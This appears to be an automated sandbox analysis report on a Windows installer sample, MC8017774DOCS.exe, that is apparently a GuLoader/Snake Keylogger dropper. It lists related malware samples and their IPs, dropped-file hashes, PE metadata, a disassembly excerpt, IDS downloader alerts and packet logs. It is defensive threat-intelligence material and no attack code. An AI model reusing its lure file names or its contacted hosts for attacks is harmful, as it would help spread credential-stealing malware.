	CL714440147.exe	Get hash	malicious	GuLoader	Browse	185.244.144.68
TELEGRAMRU	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WV7Gj9lJ7W.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	18sFhgSyVK.exe	Get hash	malicious	XWorm	Browse	149.154.167.220
	21Installer.exe	Get hash	malicious	Stealc, Vidar	Browse	149.154.167.99
	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
UTMEMUS	New shipment AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	132.226.51.241
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	128.169.54.96
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	http://mweb.webhop.org	Get hash	malicious	HTMLPhisher	Browse	132.226.118.109
	sosoliso.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
SKB-ENTERPRISENL	bot_library.exe	Get hash	malicious	Unknown	Browse	45.148.121.112
	bot_library.exe	Get hash	malicious	Unknown	Browse	45.148.121.112
	i3LQkjkqOB.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.148.121.112
	grjD7lWffX.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.148.121.112
	systemd-udevd (deleted)	Get hash	malicious	Unknown	Browse	45.148.120.142
	systemd-udevd (deleted)	Get hash	malicious	Unknown	Browse	45.148.120.142
	configs.conf	Get hash	malicious	Unknown	Browse	45.148.120.142
	configs.conf	Get hash	malicious	Unknown	Browse	45.148.120.142
	Inquiry HA-22-28199 22-Q22024.doc	Get hash	malicious	FormBook	Browse	45.148.122.66
	Inquiry HA-22-28199 22-Q22024.doc	Get hash	malicious	FormBook	Browse	45.148.122.66

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	New shipment AWB NO - 09804480383.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	172.67.177.134
	rorderrequirementsCIF-TRC809910645210.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	172.67.177.134
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	ZEcVl5jzXD.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	Papyment_Advice.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, JasonRAT, LummaC Stealer, Stealc, Vidar	Browse	172.67.177.134
	https://docs.google.com/drawings/d/15fSe2159qP21C2NrS3K5cgcsyPwNINvux6xIUCvvgBU/preview?pli=1AmyVazquez-brian.nester@lvhn.org	Get hash	malicious	HTMLPhisher	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	202411_257658#U00b7pdf.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	LummaC Stealer	Browse	149.154.167.220
	0Nj1sxmCtr.exe	Get hash	malicious	Binder HackTool, Quasar	Browse	149.154.167.220
	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll	Pigroots.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	S#U0130PAR#U0130#U015e No.112024-pdf.bat.exe	Get hash	malicious	FormBook, GuLoader	Browse
	Shave.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	Readouts.bat.exe	Get hash	malicious	GuLoader	Browse
	New listed items 7648767856387547354734567465647568487.exe	Get hash	malicious	Discord Token Stealer, GuLoader	Browse
	yVVZdG2NJX.exe	Get hash	malicious	GuLoader	Browse
	PaymentAdvice.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	S50MC-C_3170262-7.6cylinder_liner.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	ORDER 20240986 OA.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Sipunculoidea.ude

Download File

Process:	C:\Users\user\Desktop\MC8017774DOCS.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 0-12, spot sensor temperature 0.000000, unit celsius, color scheme 0, calibration: offset 0.000000, slope 649037107316853453566312041152512.000000
Category:	dropped
Size (bytes):	286686
Entropy (8bit):	1.2536158727628404
Encrypted:	false
SSDEEP:	768:3zbnVKpXfwz53wppkaub35azZSECekyln9KUXjJrv5YQ1ujVNDYb3ezsIhWCUiSL:KH4hI9iE3sLB9pXYzlkOYFWf9
MD5:	99A5E2E2953D0374F1E23FF8B0B6773F
SHA1:	5FC3F9C3638DD60012AB2F2ECDD016912BBDB9F3
SHA-256:	3D1233CB89AD10CCC6972697279A3741F6031E05D32738E9B34D37A230C0F84A
SHA-512:	1B002C12EAB187B0246483C5F3B0758DC84BCC884E1120A17B0412DFD349972DB5DA04E154AE21D405BA33BBD0C29AADFA7D1BF4D50347146D6DFCCBBD8DA94A
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.........................................\|.........................F........................................................S..............................S.................................................................8....;........................^........................)......"..Y........B................d......................}.........i......................................9.....................................R...............]............................................................I.........u..................................j.....^.....................................................................W..................................................................................m......................................*.....................>..........O........[................................................B............................}..../...............................[.......?.............................Z..#.........................4...............................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\Torturkammerets.Nik

Download File

Process:	C:\Users\user\Desktop\MC8017774DOCS.exe
File Type:	data
Category:	dropped
Size (bytes):	472868
Entropy (8bit):	6.917253204664265
Encrypted:	false
SSDEEP:	6144:oOotBmbqGe04Asl7ACPHaycaSErvJSciCc/tBfa:oOBbTF4Ac7VaBapvwVVI
MD5:	1603919560ECC0C67267F4D26AE182E8
SHA1:	A0A4AE2FEDCB69A48822619E38E35BB243AB4307
SHA-256:	9DE7EFD6B560857516E450DB3D6B99FCD528CE84081CC24C0D25EE07DB04825B
SHA-512:	5BBA9408A51734E5F9E3F03E4553CDF7AD617675C1494D24366F7C4989D08FB879EA2D8EE6392196385AF7D75090DB36807D2633E5AC72F33FC382D84EF75A3A
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\moccasins.ved

Download File

Process:	C:\Users\user\Desktop\MC8017774DOCS.exe
File Type:	data
Category:	dropped
Size (bytes):	73531
Entropy (8bit):	1.2569404898190384
Encrypted:	false
SSDEEP:	384:dVICOgr5CpPXeGASSCorJvHtPvpwqcQ+5pPZg71l4oLuZK52Oc410+RaL7VomsEa:dVcPX7U1R9mPZgx1hn32+emD40rd
MD5:	22148562A5A87FF1BECCAE5E77D87142
SHA1:	D1B04F09ACFC146855AA02A8C530AA8A45DF3F24
SHA-256:	B09EF713D0920E9671DA35332C6DAE7C1E12BE409A7077D6CA3E07938F9C08E9
SHA-512:	3F96B2ABED75C8EA941E45BB3835EF4D5FC92C5C5F829A738641FD398D88BB838E7C22A0F5F998BF387A5CE4ADC77EECAA049BCFB1A9ADD476871C871D58E811
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......................................................................................x..........................\|........................................l...................a.........................................U.....................k..........................................G..................................................................\|.....b....................O...R..........n...................&.....................l..................!.......6......... ......S.......................................}........................................7..................................................................................................................................................B......#......b....................60........?.....z.......>..........................:..............%..l...........g...........................=D.....{.....................................&........................{.......................i..........................................5.]............

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne\sporostrote.dip

Download File

Process:	C:\Users\user\Desktop\MC8017774DOCS.exe
File Type:	data
Category:	dropped
Size (bytes):	220203
Entropy (8bit):	1.262001836842358
Encrypted:	false
SSDEEP:	768:EBCX3JLNVpAeI+EgywY0Szqqv3ib1RuU7thllrhAKF3+O1jaJgMH8JHuHR6qTSIT:EkLjwqF1z1MoqyH
MD5:	F8A828CA56113806A25802FF2AF74282
SHA1:	B016C4258BD1F9A19989E0C6B7AB993ED02DF96F
SHA-256:	95941451FFB946693877FBD721001ACC32FE70D75EA68CAB1756B3ADF77DCFF4
SHA-512:	6725AA09040FAC962CCFF2EF9897FB6F3F3706FE60D8C55A69CB9E0C21362B3C8C186C573D647C0A50438686D6035361A4A20138C451E641D507BD1218D1E079
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................................................@......................................................................<....................................................O....../..........T.....................................i................................................................,.......................t.....................t.................................{!...................................................................................................X..........s.............@.............C....2................................-..............................w..............................................................H....................I........."..................C.................a................p...6.......................'......................................................................................%.............................x.................Q...................................z..........................i....hv...x.................`..........c.

C:\Users\user\AppData\Local\Temp\nse865B.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\MC8017774DOCS.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.890541747176257
Encrypted:	false
SSDEEP:	192:X24sihno0bW+l97H4GB7QDs91kMtwtobTr4u+QHbazMNHT7dmNIEr:m8vJl97JeoxtN/r3z7YV
MD5:	75ED96254FBF894E42058062B4B4F0D1
SHA1:	996503F1383B49021EB3427BC28D13B5BBD11977
SHA-256:	A632D74332B3F08F834C732A103DAFEB09A540823A2217CA7F49159755E8F1D7
SHA-512:	58174896DB81D481947B8745DAFE3A02C150F3938BB4543256E8CCE1145154E016D481DF9FE68DAC6D48407C62CBE20753320EBD5FE5E84806D07CE78E0EB0C4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: Pigroots.exe, Detection: malicious, Browse Filename: S#U0130PAR#U0130#U015e No.112024-pdf.bat.exe, Detection: malicious, Browse Filename: Shave.exe, Detection: malicious, Browse Filename: Readouts.bat.exe, Detection: malicious, Browse Filename: New listed items 7648767856387547354734567465647568487.exe, Detection: malicious, Browse Filename: yVVZdG2NJX.exe, Detection: malicious, Browse Filename: PaymentAdvice.exe, Detection: malicious, Browse Filename: S50MC-C_3170262-7.6cylinder_liner.exe, Detection: malicious, Browse Filename: ORDER 20240986 OA.exe, Detection: malicious, Browse Filename: PayeeAdvice_HK54912_R0038704_37504.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L.....oZ...........!..... ...........).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...x....@.......(..............@....reloc..~....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.748269107029679
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	MC8017774DOCS.exe
File size:	567'152 bytes
MD5:	d4c19e96d83bd586016a3be2e3a57f1d
SHA1:	bf5d7271766db9b568ac98006c7eda0de40bc2bd
SHA256:	5cba2773587387ad35e187bf5135467da368909ae0d4dd1a0f1d80be6338fc44
SHA512:	03078c41d61c02c1f8f7d34c4b93ac4d534a26c4d3dd28c04102d7f10b2eecea6499b38e0a87db0447314b3ca1f097f02d1c7ebd5d3fa994d9708d86df9f9c62
SSDEEP:	12288:32EIMY+ov3ZXExuA5lpKHHtmZxxNQicmd3ZhZF:3w9+U36t5lAnoZxbcmdPZF
TLSH:	5FC4E050F25DE897F52725B14C7FD93015DAAB5C91A4820E329A7A1E68E335320AFF0F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....oZ.................d....:....

File Icon


Icon Hash:	38206a6a62666429

Static PE Info

General

Entrypoint:	0x40336c
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5A6FED1F [Tue Jan 30 03:57:19 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b34f154ec913d2d2c435cbd644e91687

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A2E0h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080A8h]
call dword ptr [004080A4h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [007A8A2Ch], eax
je 00007F56CD24B193h
push ebx
call 00007F56CD24E445h
cmp eax, ebx
je 00007F56CD24B189h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F56CD24E3BFh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F56CD24B16Ch
push 0000000Ah
call 00007F56CD24E418h
push 00000008h
call 00007F56CD24E411h
push 00000006h
mov dword ptr [007A8A24h], eax
call 00007F56CD24E405h
cmp eax, ebx
je 00007F56CD24B191h
push 0000001Eh
call eax
test eax, eax
je 00007F56CD24B189h
or byte ptr [007A8A2Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [007A8AF8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0079FEE0h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c7000	0x17000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6400	0x6400	eed0986138e3ef22dbb386f4760a55c0	False	0.6783203125	data	6.511089687733535	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	2914bac53cd4485c9822093463e4eea6	False	0.4509765625	data	5.146454805063938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39eb38	0x600	09e0c528682cd2747c63b7ba39c2cc23	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x1e000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3c7000	0x17000	0x17000	c8f8279129ad38fd03ee7b50a97e5aea	False	0.21903659986413043	data	5.096977274603887	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x3c7388	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x3c76f0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.16976221459836743
RT_ICON	0x3d7f18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.32863070539419087
RT_ICON	0x3da4c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.42424953095684803
RT_ICON	0x3db568	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.30730277185501065
RT_ICON	0x3dc410	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.32445848375451264
RT_ICON	0x3dccb8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2579479768786127
RT_ICON	0x3dd220	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6374113475177305
RT_DIALOG	0x3dd688	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x3dd7d0	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x3dd910	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3dda10	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3ddb30	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3ddbf8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3ddc58	0x68	data	English	United States	0.7211538461538461
RT_MANIFEST	0x3ddcc0	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-25T07:09:51.498327+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.6	49801	185.244.144.68	80	TCP
2024-11-25T07:09:55.095980+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49808	132.226.8.169	80	TCP
2024-11-25T07:09:57.783587+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49808	132.226.8.169	80	TCP
2024-11-25T07:09:59.525079+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49821	172.67.177.134	443	TCP
2024-11-25T07:10:04.799293+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49826	132.226.8.169	80	TCP
2024-11-25T07:10:06.599757+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49838	172.67.177.134	443	TCP
2024-11-25T07:10:18.087506+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49871	172.67.177.134	443	TCP
2024-11-25T07:10:21.452984+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49882	172.67.177.134	443	TCP
2024-11-25T07:10:24.723371+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49890	172.67.177.134	443	TCP
2024-11-25T07:10:28.422026+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	49902	172.67.177.134	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 07:09:49.928318977 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:50.047949076 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:50.048043966 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:50.048825026 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:50.168212891 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.498241901 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.498260021 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.498272896 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.498327017 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.498351097 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.500376940 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.500431061 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.603843927 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.603879929 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.603948116 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.617614031 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.617628098 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.617666960 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.617713928 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.619843960 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.619901896 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.723620892 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.723695993 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.724009037 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724023104 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724049091 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724060059 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724066019 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.724087000 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724097967 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724102020 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.724111080 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724122047 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724133015 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.724147081 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.724174976 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.724200964 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724212885 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.724236965 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.724251986 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.727696896 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.727745056 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.727790117 CET	80	49801	185.244.144.68	192.168.2.6
Nov 25, 2024 07:09:51.727834940 CET	49801	80	192.168.2.6	185.244.144.68
Nov 25, 2024 07:09:51.737160921 CET	80	49801	185.244.144.68	192.168.2.6
